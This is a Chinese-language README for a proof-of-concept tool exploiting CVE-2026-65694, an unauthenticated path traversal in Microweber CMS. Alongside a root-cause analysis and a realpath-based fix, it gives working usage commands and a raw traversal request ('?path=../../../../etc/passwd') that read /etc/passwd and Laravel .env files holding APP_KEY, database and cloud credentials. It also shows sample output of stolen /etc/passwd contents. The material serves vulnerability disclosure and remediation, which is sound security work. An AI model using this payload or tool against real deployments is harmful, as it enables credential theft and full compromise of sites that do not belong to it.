针对 CVE-2026-65694 的概念验证,这是 Microweber CMS 中的一个未授权路径遍历 → 任意文件读取漏洞。
未授权攻击者可以通过公开的 GET /userfiles/{path} 路由读取 Web 服务器用户可访问的任何文件——Laravel .env(APP_KEY、数据库凭据、邮件/云密钥)、/etc/passwd、日志、密钥、非 .php 配置文件等。
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)master(漏洞行仍然存在)src/MicroweberPackages/App/Http/Controllers/ServeStaticFileContoller.php
public function serveFromUserfiles(Request $request)
{
$path = $request->path; // <-- 属性读取,而非 $request->path()
$path = normalize_path(userfiles_path() . $path, false); // <-- normalize_path() 不会去除 ".."
return $this->sendResponse($path, $request);
}
该路由以未认证方式注册:
Route::any('/userfiles/{path}', ['uses' => '...ServeStaticFileContoller@serveFromUserfiles'])->where('path', '.*');
两个问题叠加导致:
$request->path(属性访问,而非 $request->path() 方法)会经过 Laravel 的 Request::__get → Arr::get($this->all(), 'path', fn() => $this->route('path')) 解析。因此 ?path= 查询参数会覆盖 {path} 路由段——而查询值不会受到浏览器/服务器对 URL 路径 .. 的规范化处理。normalize_path() 只是合并斜杠;它从不剥离或解析 ..,也不检查解析后的路径是否仍位于 userfiles_path() 内。随后 PHP 的文件层会在文件系统上解析 .. 序列。控制器仅屏蔽 .php、.phtml 和 .php7 扩展名(skip_ext),因此无法直接读取 PHP 源码——但其他一切均可读取(.env、/etc/passwd、日志、密钥、SQLite 数据库、JSON/YAML 配置等)。
pip install -r requirements.txt
适用于任何采用推荐 public/ 文档根目录的部署(Microweber 自带的 public/.htaccess,或 nginx try_files $uri /index.php 前端控制器),其中 userfiles/ 位于 Web 根目录之外,且 /userfiles/* 被分发到 Laravel 路由器。
三种操作:
python3 poc.py -u http://TARGET --check # 目标是否存在漏洞?
python3 poc.py -u http://TARGET -r /etc/passwd # 读取文件(打印到 stdout)
python3 poc.py -u http://TARGET -r .env # 相对于应用的路径同样有效
python3 poc.py -u http://TARGET -d /etc/passwd -o pw.txt # 将文件下载到磁盘
| 参数 | 作用 |
|---|
遍历深度会自动检测(逐步增加 ../ 直到文件被服务);可用 --depth N 覆盖。通过 --proxy http://127.0.0.1:8080 可经过 Burp 代理。添加 -v 可查看原始请求。
$ python3 poc.py -u http://target:8080 --check
Microweber CMS - 未授权任意文件读取
CVE-2026-65694 ( GET /userfiles/ ?path= 遍历 )
by Bobur Abdugafforov
[*] 正在测试目标...
[+] 存在漏洞 - 已确认 CVE-2026-65694(任意文件读取,遍历深度 4)
$ python3 poc.py -u http://target:8080 -r /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
$ python3 poc.py -u http://target:8080 -d /etc/passwd -o pw.txt
[+] 已下载 '/etc/passwd' -> pw.txt(839 字节,遍历深度 4)
底层请求实际上非常简单:
GET /userfiles/<random>?path=../../../../etc/passwd HTTP/1.1
Host: target
未授权任意文件读取。泄露 Laravel .env 可获得 APP_KEY(会话/ Cookie 伪造)、数据库凭据、邮件密码和云服务密钥——实际上等同于实例的全部机密信息被攻破。
应读取绑定的路由参数而非输入属性,使用 realpath() 进行规范化,并验证解析后的路径仍位于 userfiles_path() 内:
public function serveFromUserfiles(Request $request)
{
$requested = (string) $request->route('path');
$base = realpath(userfiles_path());
$path = realpath(normalize_path($base . DIRECTORY_SEPARATOR . $requested, false));
abort_if($base === false || $path === false
|| strncmp($path, $base . DIRECTORY_SEPARATOR, strlen($base) + 1) !== 0, 404);
return $this->sendResponse($path, $request);
}
由 Bobur Abdugafforov 发现并报告。CVE-2026-65694 由 VulnCheck 分配。
仅限授权的安全测试和教育用途。请勿对你不拥有或未经明确许可的系统使用。
--check | 报告目标是否存在漏洞(是/否),不导出数据 |
-r、--read FILE | 读取文件并打印到 stdout |
-d、--download FILE | 读取文件并保存到本地(-o/--output 设置文件名) |